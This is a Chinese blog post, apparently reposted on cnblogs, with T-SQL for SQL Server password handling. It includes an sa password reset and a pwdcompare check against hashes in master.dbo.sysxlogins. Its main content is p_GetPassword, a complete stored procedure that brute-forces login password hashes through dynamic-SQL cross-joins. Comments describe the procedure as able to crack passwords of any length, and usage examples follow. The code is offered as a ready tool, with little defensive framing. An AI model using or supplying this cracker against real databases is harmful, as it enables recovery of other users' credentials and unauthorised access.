• Ms Sql Server密码相关操作


    /*--密码修改*/  
      /*--  
      exec   sp_password   null,'aa',sa     --将sa的密码设置为aaa,不管旧密码是什么  
       
      --检查某个密码是否为正确的密码  
      declare   @a   varchar(20)  
      set   @a='aaa'  
      select   pwdcompare(@a,   password,case   xstatus&2048   when   2048   then   1   else   0   end)   a  
      ,name  
      from   master.dbo.sysxlogins  
       
      declare   @pwd   varchar(100)  
      set   @pwd=char(0)+char(255)       --也只有两位  
      select   pwdcompare(@pwd,   password,  
        (CASE   WHEN   xstatus&2048   =   2048   THEN   1   ELSE   0   END))   a  
      ,name,password  
      from   master.dbo.sysxlogins  
      --*/  
      -------------------------------------------------------------------------  
      /*=====================================================================*/  
      -------------------------------------------------------------------------  
      if   exists   (select   *   from   dbo.sysobjects   where   id   =   object_id(N'[dbo].[p_GetPassword]')   and   OBJECTPROPERTY(id,   N'IsProcedure')   =   1)  
      drop   procedure   [dbo].[p_GetPassword]  
      GO  
       
      /*--穷举法破解   SQL   Server   用户密码  
       
      可以破解中文,特殊字符,字符+尾随空格的密码  
      为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII  
       
      理论上可以破解任意位数的密码,一般的电脑都可以破解3位密码  
      条件是你的电脑配置足够,时间足够  
       
      --邹建   2004.08(引用请保留此信息)--*/  
       
      /*--调用示例  
       
      --测试特殊字符  
      declare   @pwd   sysname  
      set   @pwd=char(0)+'a   '  
      exec   sp_password   null,@pwd,'sa'  
      exec   p_GetPassword  
       
      --测试带空格的密码  
      exec   sp_password   null,'a     ','sa'  
      exec   p_GetPassword  
       
      --测试中文  
      exec   sp_password   null,'我   ','sa'  
      exec   p_GetPassword  
       
      --清除密码  
      exec   sp_password   null,null,'sa'  
      --*/  
      create   proc   p_GetPassword  
      @username   sysname=null,--用户名,如果不指定,则列出所有用户  
      @pwdlen   int=3--密码破解的位数,默认只破解3位及以下的密码  
      as  
      --生成要破解的密码的用户表  
      select   name,password  
      ,type=case   when   xstatus&2048=2048   then   1   else   0   end  
      ,jm=case   when   password   is   null   or   datalength(password)<46  
      then   1   else   0   end  
      ,pwdstr=case   when   datalength(password)<46  
      then   cast(password   as   sysname)  
      else   cast(''   as   sysname)   end  
      ,pwd=cast(''   as   varchar(8000))  
      into   #pwd  
      from   master.dbo.sysxlogins   a  
      where   srvid   is   null    
      and   name=isnull(@username,name)  
       
      --生成临时表  
      select   top   255   id=identity(int,0,1)   into   #t   from   sysobjects   a,sysobjects   b  
      alter   table   #t   add   constraint   PK_#t   primary   key(id)  
       
      --清理不需要的字符  
      if   not   exists(select   1   from   #pwd   where   type=1)  
      delete   from   #t   where   id   between   65   and   90   or   id   between   129   and   254  
       
      --密码破解处理  
      declare   @l   int  
      declare   @s1   varchar(8000),@s2   varchar(8000),@s3   varchar(8000),@s4   varchar(8000)  
       
      --破解1位密码  
      select   @l=0  
      ,@s1='id=a.id'  
      ,@s2='#t   a'  
      ,@s3='char(b.id)'  
      ,@s4='cast(b.id   as   varchar)'  
      exec('  
      update   pwd   set   jm=1,pwdstr='+@s3+'  
      ,pwd='+@s4+'  
      from   #pwd   pwd,#t   b  
      where   pwd.jm=0  
      and   pwdcompare('+@s3+',pwd.password,pwd.type)=1  
      ')  
       
      --破解超过2位的密码  
      while   exists(select   1   from   #pwd   where   jm=0   and   @l<@pwdlen-1)  
      begin  
      select   @l=@l+1  
      ,@s1=@s1+',id'+cast(@l   as   varchar)  
      +'='+char(@l/26+97)+char(@l%26+97)+'.id'  
      ,@s2=@s2+',#t   '+char(@l/26+97)+char(@l%26+97)  
      ,@s3=@s3+'+char(b.id'+cast(@l   as   varchar)+')'  
      ,@s4=@s4+'+'',''+cast(b.id'+cast(@l   as   varchar)+'   as   varchar)'  
      exec('  
      select   '+@s1+'   into   #tt   from   '+@s2+'  
      update   pwd   set   jm=1,pwdstr='+@s3+'  
      ,pwd='+@s4+'  
      from   #pwd   pwd,#tt   b  
      where   pwd.jm=0  
      and   pwdcompare('+@s3+',pwd.password,pwd.type)=1  
      ')  
      end  
       
      --显示破解的密码  
      select   用户名=name,密码=pwdstr,密码ASCII=pwd  
      from   #pwd  
      go  

    作者:Olar Tan
    出处:http://www.cnblogs.com/olartan
    ♪:没有做不到的 只有偷懒而错过的 ♪

  • 相关阅读:
    北科的秋天
    最大子段和问题(dp)
    cmd应用
    问题 H: 抽奖活动(大数)
    大数算法
    模板整理(三)
    在CMD中建立一个不能删除的文件
    波利亚(Polya)罐子模型
    51nod-迷宫问题(Dijkstra算法)
    优先队列
  • 原文地址:https://www.cnblogs.com/olartan/p/1611956.html
Copyright © 2020-2023  润新知